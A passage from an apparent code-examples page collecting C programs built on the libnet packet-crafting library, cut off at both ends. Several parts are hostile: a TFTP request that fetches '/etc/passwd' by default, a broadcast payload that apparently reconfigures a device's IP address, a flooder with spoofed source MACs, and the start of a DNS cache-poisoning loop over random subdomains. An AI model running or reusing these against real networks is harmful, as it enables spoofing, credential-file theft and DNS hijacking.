	                                      tcp->th_flags, 
	                                      ntohs(tcp->th_win),
	                                      0,
	                                      ntohs(tcp->th_urp),
	                                      length_protocol,
	                                      payload,
	                                      size_payload,
	                                      l,
	                                      libnet_tcp);
        
        
	        if (libnet_tcp == -1)
	        {
	            fprintf(stderr, "Unable to build TCP header: %s\n", libnet_geterror(l));
	            exit(1);
	        }
	
			if (DEBUG == 1)
			{
				printf("	* IP packet successfully generated\n");
			}

	    }
	    else if (ip->ip_p == UDP_PROTOCOL)
	    {
        
	        /* Create a new UDP packet but with switched ports */
	        libnet_ptag_t libnet_udp = 0;
			int size_payload;
			size_payload = ntohs(ip->ip_len) - size_ip;
	        payload = (u_int8_t *)(packet + SIZE_ETHERNET + size_ip + size_protocol); 
	        length_protocol = (udp->uh_length) + size_payload;
        
	        libnet_udp = libnet_build_udp(htons(udp->uh_dport),
	                                      htons(udp->uh_sport),
	                                      length_protocol,
	                                      0,
	                                      payload,
	                                      size_payload,
	                                      l,
	                                      libnet_udp);
        
	        if (libnet_udp == -1)
	        {
	            fprintf(stderr, "Unable to build UDP header: %s\n", libnet_geterror(l));
	            exit(1);
	        } 
	    }
    
	    /* Create a new IP packet with the IP for src and dst switched */
 		u_int8_t* ip_options = (u_int8_t*)(packet + SIZE_ETHERNET + 20); 
        u_int32_t size_ip_options = (u_int32_t)(size_ip - 20);
        libnet_build_ipv4_options(ip_options, size_ip_options, l, 0);
		
		int size_ip_payload;
		u_int8_t* ip_payload;
		
		if (ip->ip_p == TCP_PROTOCOL || ip->ip_p == UDP_PROTOCOL)
		{
			ip_payload = NULL;
			size_ip_payload = 0;
		}
		else
		{
			ip_payload = (u_int8_t*)(packet + SIZE_ETHERNET + size_ip);
			size_ip_payload = ntohs(ip->ip_len) - size_ip;
		}
		
	    libnet_ptag_t libnet_ipv4 = 0;
	    libnet_ipv4 = libnet_build_ipv4(ntohs(ip->ip_len),
	                                    ip->ip_tos,
	                                    ntohs(ip->ip_id),
	                                    ntohs(ip->ip_off),
	                                    ip->ip_ttl,
	                                    ip->ip_p,
	                                    0,
	                                    sip,
	                                    dip,
	                                    ip_payload,
	                                    size_ip_payload,
	                                    l,
	                                    libnet_ipv4);
    
	    if (libnet_ipv4 == -1)
	    {
	        fprintf(stderr, "Unable to build IPv4 header: %s\n", libnet_geterror(l));
	        exit(1);
	    }
    }
    
    /* Last but not least the Ethernet packet (Not sure if we're gonna need it) */
    libnet_ptag_t libnet_eth = 0;
    libnet_eth = libnet_build_ethernet(daddr,
                                       saddr,
                                       ETHERTYPE_IP,
                                       NULL,
                                       0,
                                       l,
                                       libnet_eth);
    
    if (libnet_eth == -1)
    {
        fprintf (stderr, "Unable to build Ethernet header: %s\n", libnet_geterror(l));
        exit(1);
    }
    
	if (DEBUG == 1)
	{
		printf("	* Ethernet packet successfully generated\n");
	}
    /*  This probably not a good idea to run for a long time 
        on my own network */
    if ((libnet_write(l)) == -1)
    {
        fprintf(stderr, "Unable to send packet: %s\\n", libnet_geterror(l));
        exit(1);
    }
    else
    {
		if (DEBUG == 1)
		{
	        printf(" DEBUG: Packet replicated and sent\n");
		}

    }
                                       
    
                                    
            
    
    libnet_destroy(l); /* Always need to call this before returning 
                        * It should have been a mechanism that you could
                        * use for "after return do this"
                        */
    
    
    
    
}
Ejemplo n.º 14
0
int
main(int argc, char *argv[])
{
    char *intf;
    u_long src_ip, options_len, orig_len;
    int i;
    
    libnet_t *l;
    libnet_ptag_t t;
    libnet_ptag_t ip;
    libnet_ptag_t udp;
    libnet_ptag_t dhcp;
    struct libnet_ether_addr *ethaddr;
    struct libnet_stats ls;
    
    char errbuf[LIBNET_ERRBUF_SIZE];
    
    u_char options_req[] = { LIBNET_DHCP_SUBNETMASK , LIBNET_DHCP_BROADCASTADDR , LIBNET_DHCP_TIMEOFFSET , LIBNET_DHCP_ROUTER , LIBNET_DHCP_DOMAINNAME , LIBNET_DHCP_DNS , LIBNET_DHCP_HOSTNAME };
    u_char *options;
    u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
    u_char *tmp;
    
    // have to specify interface
    if (argc != 2)
        usage(argv[0]);
    intf = argv[1];
    
    l = libnet_init(
            LIBNET_LINK,                            // injection type
            intf,                                   // network interface
            errbuf);                                // errbuf
    if (!l)
    {
        fprintf(stderr, "libnet_init: %s", errbuf);
        exit(EXIT_FAILURE);
    }
    else {
        src_ip = libnet_get_ipaddr4(l);;
        
        if ((ethaddr = libnet_get_hwaddr(l)) == NULL)
        {
            fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l));
            exit(EXIT_FAILURE);
        }
        
        printf("ip addr     : %s\n", libnet_addr2name4(src_ip, LIBNET_DONT_RESOLVE));
        printf("eth addr    : ");
        for (i = 0; i < 6; i++) {
            printf("%x", ethaddr->ether_addr_octet[i]);
            if (i != 5) {
                printf(":");
            }
        }
        printf("\n");
        
        
        // build options packet
        i = 0;
        options_len = 3;                            // update total payload size
        
        // we are a discover packet
        options = malloc(3);
        options[i++] = LIBNET_DHCP_MESSAGETYPE;     // type
        options[i++] = 1;                           // len
        options[i++] = LIBNET_DHCP_MSGDISCOVER;     // data
        
        orig_len = options_len;
        options_len += sizeof(options_req) + 2;     // update total payload size
        
        // workaround for realloc on old machines
        // options = realloc(options, options_len); // resize options buffer
        tmp = malloc(options_len);
        memcpy(tmp, options, orig_len);
        free(options);
        options = tmp;
        
        // we are going to request some parameters
        options[i++] = LIBNET_DHCP_PARAMREQUEST;    // type
        options[i++] = sizeof(options_req);         // len
        memcpy(options + i, options_req, sizeof(options_req)); // data
        i += sizeof(options_req);
        
        // if we have an ip already, let's request it.
        if (src_ip)
        {
            orig_len = options_len;
            options_len += 2 + sizeof(src_ip);
            
            // workaround for realloc on old machines
            // options = realloc(options, options_len);
            tmp = malloc(options_len);
            memcpy(tmp, options, orig_len);
            free(options);
            options = tmp;
            
            options[i++] = LIBNET_DHCP_DISCOVERADDR;	// type
            options[i++] = sizeof(src_ip);			    // len
            memcpy(options + i, (char *)&src_ip, sizeof(src_ip));// data
            i += sizeof(src_ip);
        }
        
        // end our options packet
        options[i] = LIBNET_DHCP_END;
        
        // make sure we are at least the minimum length, if not fill
        // this could go in libnet, but we will leave it in the app for now
        if (options_len + LIBNET_DHCPV4_H < LIBNET_BOOTP_MIN_LEN)
        {
            orig_len = options_len;
            options_len = LIBNET_BOOTP_MIN_LEN - LIBNET_DHCPV4_H;
            
            // workaround for realloc on old machines
            // options = realloc(options, options_len);
            tmp = malloc(options_len);
            memcpy(tmp, options, orig_len);
            free(options);
            options = tmp;
            
            memset(options + i, 0, options_len - i);
        }
        
        // the goodies are here
        dhcp = libnet_build_dhcpv4(
                LIBNET_DHCP_REQUEST,                            // opcode
                1,                                              // hardware type
                6,                                              // hardware address length
                0,                                              // hop count
                0xdeadbeef,                                     // transaction id
                0,                                              // seconds since bootstrap
                0x8000,                                         // flags
                0,                                              // client ip
                0,                                              // your ip
                0,                                              // server ip
                0,                                              // gateway ip
                ethaddr->ether_addr_octet,                      // client hardware addr
                NULL,                                           // server host name
                NULL,                                           // boot file
                options,                                        // dhcp options stuck in payload since it is dynamic
                options_len,                                    // length of options
                l,                                              // libnet handle 
                0);                                             // libnet id 
        
        // wrap it
        udp = libnet_build_udp(
                68,                                             // source port
                67,                                             // destination port
                LIBNET_UDP_H + LIBNET_DHCPV4_H + options_len,   // packet size
                0,                                              // checksum
                NULL,                                           // payload 
                0,                                              // payload size 
                l,                                              // libnet handle 
                0);                                             // libnet id 
        
        // hook me up with some ipv4
        ip = libnet_build_ipv4(
                LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H
                + options_len,                                  // length
                0x10,                                           // TOS
                0,                                              // IP ID
                0,                                              // IP Frag 
                16,                                             // TTL
                IPPROTO_UDP,                                    // protocol
                0,                                              // checksum
                src_ip,                                         // src ip
                inet_addr("255.255.255.255"),                   // destination ip
                NULL,                                           // payload
                0,                                              // payload size
                l,                                              // libnet handle
                0);                                             // libnet id
        
        // we can just autobuild since we arent doing anything tricky
        t = libnet_autobuild_ethernet(
                enet_dst,                                       // ethernet destination
                ETHERTYPE_IP,                                   // protocol type
                l);                                             // libnet handle
        
        // write to the wire
        if (libnet_write(l) == -1)
        {
            fprintf(stderr, " %s: libnet_write: %s\n", argv[0],
                    strerror(errno));
            exit(EXIT_FAILURE);
        }
        
        // fill and print stats
        libnet_stats(l, &ls);
        fprintf(stderr, "Packets sent:  %ld\n"
                    "Packet errors: %ld\n"
                    "Bytes written: %ld\n",
                    ls.packets_sent, ls.packet_errors, ls.bytes_written);
        libnet_destroy(l);
        
        // free mem
        free(options);
        
        exit(0);
    }
    exit(0);
}
Ejemplo n.º 15
0
Archivo: tftp.c Proyecto: 7h3rAm/libnet
int
main(int argc, char *argv[])
{
    int c;
    libnet_t *l;
    u_long src_ip, dst_ip;
    char errbuf[LIBNET_ERRBUF_SIZE];
    libnet_ptag_t udp = 0, ip = 0;
    char *filename = "/etc/passwd";
    char mode[] = "netascii";
    u_char *payload = NULL;
    u_int payload_s = 0;
    

    printf("libnet 1.1 packet shaping: UDP + payload[raw] == TFTP\n");

    /*
     *  Initialize the library.  Root priviledges are required.
     */
    l = libnet_init(
	    LIBNET_RAW4,                  /* injection type */
            NULL,                         /* network interface */
            errbuf);                      /* error buffer */

    if (l == NULL)
    {
        fprintf(stderr, "libnet_init() failed: %s", errbuf);
        exit(EXIT_FAILURE); 
    }

    src_ip  = 0;
    dst_ip  = 0;
    while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
    {
        switch (c)
        {
            /*
             *  We expect the input to be of the form `ip.ip.ip.ip.port`.  We
             *  point cp to the last dot of the IP address/port string and
             *  then seperate them with a NULL byte.  The optarg now points to
             *  just the IP address, and cp points to the port.
             */
            case 'd':
                if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                {
                    fprintf(stderr, "Bad destination IP address: %s\n", optarg);
		    goto bad;
                }
                break;

            case 's':
                if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                {
                    fprintf(stderr, "Bad source IP address: %s\n", optarg);
		    goto bad;
                }
                break;

	    case 'p':
		filename = optarg;
		break;

            default:
		fprintf(stderr, "unkown option [%s]: bye bye\n", optarg);
		goto bad;

        }
    }

    if (!src_ip || !dst_ip)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    /* 
     * build payload
     *
     *      2 bytes     string    1 byte     string   1 byte
     *       ------------------------------------------------
     *      | Opcode |  Filename  |   0  |    Mode    |   0  |
     *       ------------------------------------------------
     *
     */
    payload_s = 2 + strlen(filename) + 1 + strlen(mode) + 1;
    payload = malloc(sizeof(char)*payload_s);
    if (!payload)
    {
        fprintf(stderr, "malloc error for payload\n");
        goto bad;
    }
    memset(payload, 0, payload_s);
    payload[1] = 1; /* opcode - GET */
    memcpy(payload + 2, filename, strlen(filename));
    memcpy(payload + 2 +  strlen(filename) + 1 , mode, strlen(mode));
    
    /*
     * Build pblocks
     */
    udp = libnet_build_udp(
	0x1234,                           /* source port */
	69,                               /* destination port */
	LIBNET_UDP_H + payload_s,         /* packet length */
	0,                                /* checksum */
	payload,                          /* payload */
	payload_s,                        /* payload size */
	l,                                /* libnet handle */
	0);                               /* libnet id */
    if (udp == -1)
    {
	fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
	goto bad;
    }

    ip = libnet_build_ipv4(
        LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length - dont forget the UDP's payload */
        0,                                /* TOS */
        0x4242,                           /* IP ID */
        0,                                /* IP Frag */
        0x42,                             /* TTL */
        IPPROTO_UDP,                      /* protocol */
        0,                                /* checksum */
        src_ip,                           /* source IP */
        dst_ip,                           /* destination IP */
        NULL,                             /* payload (already in UDP) */
        0,                                /* payload size */
        l,                                /* libnet handle */
        0);                               /* libnet id */
    if (ip == -1)
    {
        fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
        goto bad;
    }

    /*
     *  Write it to the wire.
     */
    c = libnet_write(l);
    if (c == -1)
    {
        fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
        goto bad;
    }
    else
    {
        fprintf(stderr, "Wrote %d byte TFTP packet; check the wire.\n", c);
    }

    libnet_destroy(l);
    free(payload);
    return (EXIT_SUCCESS);
bad:
    libnet_destroy(l);
    free(payload);
    return (EXIT_FAILURE);
}
Ejemplo n.º 16
0
int main (int argc, char *argv[]) {

        libnet_t *p;
        libnet_ptag_t ip, udp, ipoptions, ether;
        u_long srcip, dstip;
        u_short srcport = 62976, dstport = 62976, x;
        signed int ret;
        char errbuff[LIBNET_ERRBUF_SIZE], ipopt[21];
        int len;
        int8_t *macdst = "ff:ff:ff:ff:ff:ff";
        u_int8_t *macdest;
        char payload[128] =     "\xfd\xfd\x00\x04\x00\x03\x00\x0f\x3d\x56\x97\x07"
                                "\x0a\x00\x32\x32" /* ip address to set too */
                                "\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";
        u_short payloadlen = strlen(payload);

        srcip = libnet_get_ipaddr4(p); /* mod to spoof */
        dstip = libnet_name2addr4(p,"255.255.255.255",LIBNET_DONT_RESOLVE); /* 255.255.255.255 */
        udp = ip = ether = ipoptions = 0;

        if ( (macdest = libnet_hex_aton(macdst,&len)) == NULL) {
                fprintf(stderr,"cant get mac str - %s",libnet_geterror(p));
                exit (1);
        }

        if ( (p = libnet_init (LIBNET_LINK, NULL, errbuff)) == NULL) {
                fprintf(stderr,"cant init() - %s\n",errbuff);
                exit (1);
        }

        if ( (udp = libnet_build_udp(srcport,dstport,LIBNET_UDP_H + payloadlen,0,payload,payloadlen,p,udp)) == -1) {
                fprintf(stderr,"cant build udp - %s\n",libnet_geterror(p));
                exit (1);
        }

        for (x=0;x<20;x++) {
                ipopt[x] = libnet_get_prand(LIBNET_PR2);
        }

        ipoptions = libnet_build_ipv4_options (ipopt,20,p,ipoptions);

        if ( (ip = libnet_build_ipv4 (LIBNET_IPV4_H + 20 + payloadlen +
LIBNET_UDP_H,0,250,0,128,IPPROTO_UDP,0,srcip,dstip,payload,payloadlen,p,ip)) == -1) {
                fprintf(stderr,"cant build ipv4 - %s\n",libnet_geterror(p));
                exit (1);
        }

        if ((ether = libnet_build_ethernet (macdest,macdest,ETHERTYPE_IP,NULL,0,p,ether)) == -1) {
                fprintf(stderr,"cant build ether - %s",libnet_geterror(p));
                exit (1);
        }

        //libnet_diag_dump_pblock(p);

        if ( (ret = libnet_write(p)) == -1) {
                fprintf(stderr,"%s\n",libnet_geterror(p));
        }

        free(macdest); /* hex_aton malloc's - see libnet doco */
        libnet_destroy(p);

        return 0;
}
void* thread_routine(void* input)
{
	struct thread_input *p = input;
	libnet_t *plibnet_app;
	char errbuf[LIBNET_ERRBUF_SIZE];
	libnet_ptag_t udp_ptag, ip_ptag, eth_ptag, t;
	int i = 0;
	int val = 0;
	u_int16_t sport = (u_int16_t)0x1234;
	u_int16_t dport = (u_int16_t)0x5678;

	plibnet_app = libnet_init(LIBNET_LINK_ADV, p->device, errbuf);
	if(plibnet_app == NULL) {
		pthread_exit(NULL);
	}

	udp_ptag = libnet_build_udp (sport, /*source port*/
		dport,	/*destination port*/
		LIBNET_UDP_H + p->size,	/*Total size of UDP packet*/
		0,	/*libnet autofill checksum*/
		p->payload, /*payload pointer*/
		p->size, /*payload size*/
		plibnet_app, /*libnet context*/
		0); /*create new UDP protocal tag*/
	if(udp_ptag == -1) {
		libnet_destroy(plibnet_app);
		pthread_exit(NULL);
	}

	ip_ptag = libnet_build_ipv4(
		LIBNET_IPV4_H + LIBNET_UDP_H + p->size, /*Total length of IP packet*/
		0, 	/*TOS*/
		242,	/*IP ID*/
		0,	/*IP Fragment*/
		64,	/*IP TTL*/
		IPPROTO_UDP,	/*IP Protocal*/
		0,	/*libnet autofill checksum*/
		p->srcip,	/*Source IP address*/
		p->dstip,	/*Destination IP address*/
		NULL,		/*Payload pointer*/
		0,		/*payload size*/
		plibnet_app,	/*libnet context*/
		0);		/*create new IP protocal tag*/
	if(ip_ptag == -1) {
		libnet_destroy(plibnet_app);
		pthread_exit(NULL);
	}

	eth_ptag = libnet_build_ethernet(
		p->dstmac,	/*des HW addr*/
                p->srcmac[0],	/*src HW addr*/ 
                ETHERTYPE_IP,	/*ether packet type*/
                NULL,		/*prt to payload*/
                0,		/*payload size*/
                plibnet_app,	/*libnet handle*/
                0);		/*ptr to packet memory*/
	if(eth_ptag == -1) {
		libnet_destroy(plibnet_app);
		pthread_exit(NULL);
	}

	for(i=0;i<p->count;i++) {     
		//libnet_adv_cull_packet(plibnet_app, &packet, &packet_size); 
		t = libnet_build_ethernet(
			p->dstmac,	/*des HW addr*/
                	p->srcmac[i%p->srcmac_qty],	/*src HW addr*/ 
	                ETHERTYPE_IP,	/*ether packet type*/
       		        NULL,		/*prt to payload*/
	                0,		/*payload size*/
			plibnet_app,	/*libnet handle*/
			eth_ptag);		/*ptr to packet memory*/
		if(t == -1) {
			libnet_destroy(plibnet_app);
			pthread_exit(NULL);
		}
		val = libnet_write(plibnet_app); 
/*		if(p->interval > 0 && p->interval % 1000 == 0) {
			thread_sleep(p->interval);
		} else if(p->interval > 0) {
			usleep(p->interval*1000);
		}*/
		if(p->interval > 0) {
			thread_sleep(p->interval);
		}
	}
	libnet_destroy(plibnet_app); 
	return 0;
}
Ejemplo n.º 18
0
int main( int argc, char* argv[] )
{
	int		socket;
	unsigned char	data[1280];
	int		size;

	libnet_t	*libnet_context;
	char		libnet_errmsg_buf[LIBNET_ERRBUF_SIZE];

	//socket = sock_afpacket( argv[1] ); 
	socket = sock_udp( argv[2], strtoul(argv[3], NULL, 10 ) );
	if ( socket == -1 )
	{
		fprintf(stderr, "socket error\n");
		return 1;
	}

	// libnetのコンテキスト作成
	libnet_context = libnet_init(LIBNET_RAW6_ADV, NULL, libnet_errmsg_buf );
	//libnet_context = libnet_init(LIBNET_RAW6_ADV, argv[1], libnet_errmsg_buf );
	if ( NULL == libnet_context )
	{
		fprintf(stderr, "%s\n", libnet_errmsg_buf );
		close(socket);
		return 1;
	}
		
	for(;;)
	{
		libnet_ptag_t			ptag_udp, ptag_ip6;
		uint8_t					*pbuf;
		uint32_t				payload_len;
		
		//afpacketからのデータ受信
		//size = recv_packet( socket, sizeof(data), data );
		//print_ipv6_header( data );

		// UDPデータ受信
		size = recv( socket, data, sizeof(data), MSG_TRUNC );
		
		printf("data recieve. ");
		dump_packet( size, data );
		putc('\n', stdout);

		// UDPヘッダ
		ptag_udp = libnet_build_udp(
			(uint16_t)(random()%(65535-49152)+49152),	// source port(49152 - 65535)
			53,		// destination port
			sizeof(header_udp) + size,	// length of UDP pakcet
			0,			// checksum(autofill)
			data,		// payload
			size,		// payload length
			libnet_context,
			0 );
		
		pbuf = libnet_getpbuf( libnet_context, ptag_udp );
		payload_len = libnet_getpbuf_size( libnet_context, ptag_udp );

		// IPv6ヘッダ
		ptag_ip6 = libnet_build_ipv6(
			0,		// Traffic Class
			0,		// Flow Label
			//sizeof(header_ipv6) + sizeof(header_udp) + size,	// total length of the IP packet
			sizeof(header_udp) + size,	// total length of the IP packet
			IPPROTO_UDP,	// Next header(UDP)
			10,		// Hop Limit
			libnet_name2addr6(
				libnet_context, SRC_IP, LIBNET_DONT_RESOLVE ),		// src ip
			libnet_name2addr6(
				libnet_context, DST_IP, LIBNET_DONT_RESOLVE ),		// dst ip
			pbuf,			// payload
			payload_len,	// Payload Length
			libnet_context,
			0 );
		
		// 送信データ取得
		pbuf = libnet_getpbuf( libnet_context, ptag_ip6 );
		payload_len = libnet_getpbuf_size( libnet_context, ptag_ip6 );

		// チェックサム計算←IPv6は未対応の模様
		//libnet_do_checksum( libnet_context, pbuf, IPPROTO_UDP, payload_len );

		printf("data sending. ");
		dump_packet( payload_len, pbuf );

		// データ送信
		//libnet_write_raw_ipv6( libnet_context, data, size );
		libnet_write_raw_ipv6( libnet_context, pbuf, payload_len );

		// 作成データ解放
		libnet_clear_packet( libnet_context );
	}

	return 0;
}
Ejemplo n.º 19
0
Archivo: udp2.c Proyecto: big3k/oneway
int
main(int argc, char **argv)
{
    int c, build_ip;
    struct timeval r;
    struct timeval s;
    struct timeval e;
    libnet_t *l;
    libnet_ptag_t udp;
    char *payload;
    libnet_ptag_t t;
    struct libnet_stats ls;
    u_short payload_s;
    u_long src_ip, dst_ip;
    u_short bport, eport, cport;
    libnet_plist_t plist, *plist_p;
    char errbuf[LIBNET_ERRBUF_SIZE];
    printf("libnet 1.1.0 packet shaping: UDP2[link]\n");

    l = libnet_init(
            LIBNET_LINK,                            /* injection type */
            NULL,                                   /* network interface */
            errbuf);                                /* errbuf */
 
    if (l == NULL)
    {
        fprintf(stderr, "libnet_init() failed: %s", errbuf);
        exit(EXIT_FAILURE);
    }

    src_ip = 0;
    dst_ip = 0;
    payload = NULL;
    payload_s = 0;
    plist_p = NULL;
    while ((c = getopt(argc, argv, "d:s:p:P:")) != EOF)
    {
        switch (c)
        {
            case 'd':
                if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                {
                    fprintf(stderr, "Bad destination IP address: %s\n", optarg);                    
                    exit(1);
                }
                break;
            case 's':
                if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                {
                    fprintf(stderr, "Bad source IP address: %s\n", optarg);
                    exit(1);
                }
                break;
            case 'P':
                plist_p = &plist;
                if (libnet_plist_chain_new(l, &plist_p, optarg) == -1)
                {
                    fprintf(stderr, "Bad token in port list: %s\n",
                        libnet_geterror(l));
                    exit(1);
                }
                break;
            case 'p':
                payload = optarg;
                payload_s = strlen(payload);
                break;
            default:
                usage(argv[0]);
                exit(EXIT_FAILURE);
        }
    }

    if (!src_ip || !dst_ip || !plist_p)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    udp = 0;
#if !(__WIN32__)
    gettimeofday(&s, NULL);
#else
    /* This obviously is not as good - but it compiles now. */
    s.tv_sec = time(NULL);
    s.tv_usec = 0;
#endif

    build_ip = 1;
    while (libnet_plist_chain_next_pair(plist_p, &bport, &eport))
    {
        while (!(bport > eport) && bport != 0)
        {
            cport = bport++;
            udp = libnet_build_udp(
                1025,                               /* source port */
                cport,                              /* destination port */
                LIBNET_UDP_H + payload_s,           /* packet size */
                0,                                  /* checksum */
                payload,                            /* payload */
                payload_s,                          /* payload size */
                l,                                  /* libnet handle */
                udp);                               /* libnet id */
            if (udp == -1)
            {
                fprintf(stderr, "Can't build UDP header (at port %d): %s\n", 
                        cport, libnet_geterror(l));
                goto bad;
            }
    if (build_ip)
    {
        build_ip = 0;
        t = libnet_build_ipv4(
            LIBNET_IPV4_H + LIBNET_UDP_H + payload_s,   /* length */
            0,                                          /* TOS */
            242,                                        /* IP ID */
            0,                                          /* IP Frag */
            64,                                         /* TTL */
            IPPROTO_UDP,                                /* protocol */
            0,                                          /* checksum */
            src_ip,                                     /* source IP */
            dst_ip,                                     /* destination IP */
            NULL,                                       /* payload */
            0,                                          /* payload size */
            l,                                          /* libnet handle */
            0);
        if (t == -1)
        {
            fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
            goto bad;
        }

        t = libnet_build_ethernet(
            enet_dst,                                   /* ethernet destination */
            enet_src,                                   /* ethernet source */
            ETHERTYPE_IP,                               /* protocol type */
            NULL,                                       /* payload */
            0,                                          /* payload size */
            l,                                          /* libnet handle */
            0);
        if (t == -1)
        {
            fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
            goto bad;
        }
    }
            //usleep(100);
            c = libnet_write(l); 
            if (c == -1)
            {
                fprintf(stderr, "write error: %s\n", libnet_geterror(l));
            }
            else
            {
               fprintf(stderr, "wrote %d UDP packet to port %d\n", c, cport);
//                fprintf(stderr, ".");
            }
        }
    }

#if !(__WIN32__)
    gettimeofday(&s, NULL);
#else
    /* This obviously is not as good - but it compiles now. */
    s.tv_sec = time(NULL);
    s.tv_usec = 0;
#endif

    libnet_timersub(&e, &s, &r);
    fprintf(stderr, "Total time spent in loop: %ld.%ld\n", r.tv_sec, r.tv_usec);

    libnet_stats(l, &ls);
    fprintf(stderr, "Packets sent:  %ld\n"
                    "Packet errors: %ld\n"
                    "Bytes written: %ld\n",
                    ls.packets_sent, ls.packet_errors, ls.bytes_written);
    libnet_destroy(l);
    return (EXIT_SUCCESS);
bad:
    libnet_destroy(l);
    return (EXIT_FAILURE);
}
Ejemplo n.º 20
0
int buildudp(ETHERhdr *eth, IPhdr *ip, UDPhdr *udp, FileData *pd, 
        FileData *ipod, char *device)
{
    int n;
    u_int32_t udp_packetlen = 0, udp_meta_packetlen = 0;
    static u_int8_t *pkt;
    static int sockfd = -1;
    struct libnet_link_int *l2 = NULL;
    u_int8_t link_offset = 0;
#if !defined(WIN32)
    int sockbuff = IP_MAXPACKET;
#endif

    if (pd->file_mem == NULL)
        pd->file_s = 0;
    if (ipod->file_mem == NULL)
        ipod->file_s = 0;

    if (got_link)   /* data link layer transport */
    {
        if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL)
        {
            nemesis_device_failure(INJECTION_LINK, (const char *)device);
            return -1;
        }
        link_offset = LIBNET_ETH_H;
    }
    else
    {
        if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) < 0)
        {
            nemesis_device_failure(INJECTION_RAW, (const char *)NULL);
            return -1;
        }
#if !defined(WIN32)
        if ((setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (const void *)&sockbuff, 
                sizeof(sockbuff))) < 0)
        {
            fprintf(stderr, "ERROR: setsockopt() failed.\n");
            return -1;
        }
#endif
    }

    udp_packetlen = link_offset + LIBNET_IP_H + LIBNET_UDP_H + pd->file_s + 
            ipod->file_s;

    udp_meta_packetlen = udp_packetlen - (link_offset + LIBNET_IP_H);

#ifdef DEBUG
    printf("DEBUG: UDP packet length %u.\n", udp_packetlen);
    printf("DEBUG:  IP options size  %u.\n", ipod->file_s);
    printf("DEBUG: UDP payload size  %u.\n", pd->file_s);
#endif

    if (libnet_init_packet(udp_packetlen, &pkt) == -1)
    {
        fprintf(stderr, "ERROR: Unable to allocate packet memory.\n");
        return -1;
    }

    if (got_link)
        libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, ETHERTYPE_IP,
                NULL, 0, pkt);

    libnet_build_ip(udp_meta_packetlen, ip->ip_tos, ip->ip_id, ip->ip_off, 
            ip->ip_ttl, ip->ip_p, ip->ip_src.s_addr, ip->ip_dst.s_addr, 
            NULL, 0, pkt + link_offset);

    libnet_build_udp(udp->uh_sport, udp->uh_dport, pd->file_mem, 
            pd->file_s, pkt + link_offset + LIBNET_IP_H);

    if (got_ipoptions)
    {
        if ((libnet_insert_ipo((struct ipoption *)ipod->file_mem, 
                ipod->file_s, pkt + link_offset)) == -1)
        {
            fprintf(stderr, "ERROR: Unable to add IP options, discarding "
                    "them.\n");
        }
    }

    if (got_link)
        libnet_do_checksum(pkt + LIBNET_ETH_H, IPPROTO_IP, LIBNET_IP_H + 
                ipod->file_s);

    libnet_do_checksum(pkt + link_offset, IPPROTO_UDP, LIBNET_UDP_H + 
            pd->file_s + ipod->file_s);

    if (got_link)
        n = libnet_write_link_layer(l2, device, pkt, udp_packetlen);
    else
        n = libnet_write_ip(sockfd, pkt, udp_packetlen);

    if (verbose == 2)
        nemesis_hexdump(pkt, udp_packetlen, HEX_ASCII_DECODE);
    if (verbose == 3)
        nemesis_hexdump(pkt, udp_packetlen, HEX_RAW_DECODE);

    if (n != udp_packetlen)
    {
        fprintf(stderr, "ERROR: Incomplete packet injection.  Only wrote "
                "%d bytes.\n", n);
    }
    else
    {
        if (verbose)
        {
            if (got_link)
                printf("Wrote %d byte UDP packet through linktype %s.\n", n, 
                        nemesis_lookup_linktype(l2->linktype));
            else
                printf("Wrote %d byte UDP packet.\n", n);
        }
    }
    libnet_destroy_packet(&pkt);
    if (got_link)
        libnet_close_link_interface(l2);
    else
        libnet_close_raw_sock(sockfd);
    return n;
}
Ejemplo n.º 21
0
int
main(int argc, char *argv[])
{
    /*
     *  Initialize the library.  Root priviledges are required.
     */

    l = libnet_init(
            LIBNET_LINK,                             /* injection type */
            // NULL,                                    /* network interface eth0, eth1, etc. NULL is default.*/
	   "eth11",                                /* network interface eth0, eth1, etc. NULL is default.*/
            errbuf);                                 /* error buffer */

    if (l == NULL)
    {
        fprintf(stderr, "libnet_init() failed: %s", errbuf);
        exit(EXIT_FAILURE); 
    }
	
/*  src_ip  = 0;
    dst_ip  = 0;
    src_prt = 0;
    dst_prt = 0;
    payload = NULL;
    payload_s = 0;
*/
    while ((c = getopt (argc, argv, "p:t:i:e:")) != EOF)
    {
        switch (c)
        {
            case 'p':
                strcpy(payload_file, optarg);
                break;
            case 't':
                strcpy(tcp_file, optarg);
                break;
            case 'i':
                strcpy(ip_file, optarg);
                break;
            case 'e':
                strcpy(eth_file, optarg);
                break;
            default:
                break;
        }
    }

    if (optind != 9)
    {    
        usage();
        exit(0);
    }
    
    i_dns_bind2_addr = libnet_name2addr4(l, dns_bind2_addr, LIBNET_RESOLVE);
    sscanf("08, 00, 27, 90, 31, 81", "%x, %x, %x, %x, %x, %x", &res_eth_saddr[0], &res_eth_saddr[1], &res_eth_saddr[2], &res_eth_saddr[3], &res_eth_saddr[4], &res_eth_saddr[5]);

    srand((int)time(0));
    int loop_counter = 0;
    while (1==1) {
        int randomNumber = (rand()%10000000);
        while (randomNumber<1000000) randomNumber*=10;
        sprintf(random_host, ".x-%d.%s", randomNumber,attack_domain);
        printf("\nNow attacking with domain %s \n",random_host);
        convertDomain();

        // load_payload();
        load_payload_query(); // get the new payload with random subdomain
